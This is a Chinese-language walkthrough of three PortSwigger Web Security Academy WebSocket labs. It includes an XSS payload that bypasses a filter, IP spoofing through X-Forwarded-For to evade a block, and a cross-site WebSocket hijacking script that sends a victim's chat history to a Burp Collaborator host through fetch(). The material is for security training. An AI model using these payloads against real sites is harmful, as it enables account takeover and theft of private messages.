Portswigger web security academy:WebSockets
目录
Lab: Manipulating WebSocket messages to exploit vulnerabilities
- 题目描述
- 在线商城有一个用
WebSockets
实现的在线聊天功能 - 你提交的聊天消息会被辅助客户端实时查看
- 在线商城有一个用
- 要求
- 使用
WebScoket
消息触发alert()
- 使用
- 解题步骤
- 只是把HTTP协议换成WebSockets协议,核心思想方法没有变
- 在WebSockets history中把发送信息的请求包发送到Repeater
- 把消息内容修改为xss payload
Lab: Manipulating the WebSocket handshake to exploit vulnerabilities
- 题目描述
- 在线商城有一个用
WebSockets
实现的在线聊天功能 - 它有一个主动但是存在缺陷的XSS过滤器
- 在线商城有一个用
- 要求
- 使用
WebScoket
消息触发alert()
- 使用
- 解题过程
- 测一下过滤了些啥:(连接失败后,利用
X-Forwarded-For
伪造IP重置连接即可)- 过滤了n多标签,iframe可用
- 过滤了
()
- 过滤了
onxxxx
事件 - 过滤了
javascript
- 最后的payload和solution一样
<iframe src=‘JavAsCript:alert`1`‘>
- 测一下过滤了些啥:(连接失败后,利用
Lab: Cross-site WebSocket hijacking
-
题目描述
- 在线商城有一个用
WebSockets
实现的在线聊天功能
- 在线商城有一个用
-
要求
- 使用exploit server构造一个跨站点WebSocket劫持攻击,来获取受害者的聊天历史,并接管账号
-
解题过程
-
websocket劫持和利用iframe通信进行csrf比较类似,通过事件绑定来返回数据
-
脚本参考solution,没有考虑到
onopen
事件的处理 -
<script> websocket = new WebSocket(‘wss://ac9c1ff41e8e379c807359aa0094001e.web-security-academy.net/chat‘) websocket.onopen = function start(event) { websocket.send("READY"); } websocket.onmessage = function handleReply(event) { fetch(‘https://4bg8qgdszeud8bkot06y0rrg177xvm.burpcollaborator.net/?‘+event.data, {mode: ‘no-cors‘}) } </script>
-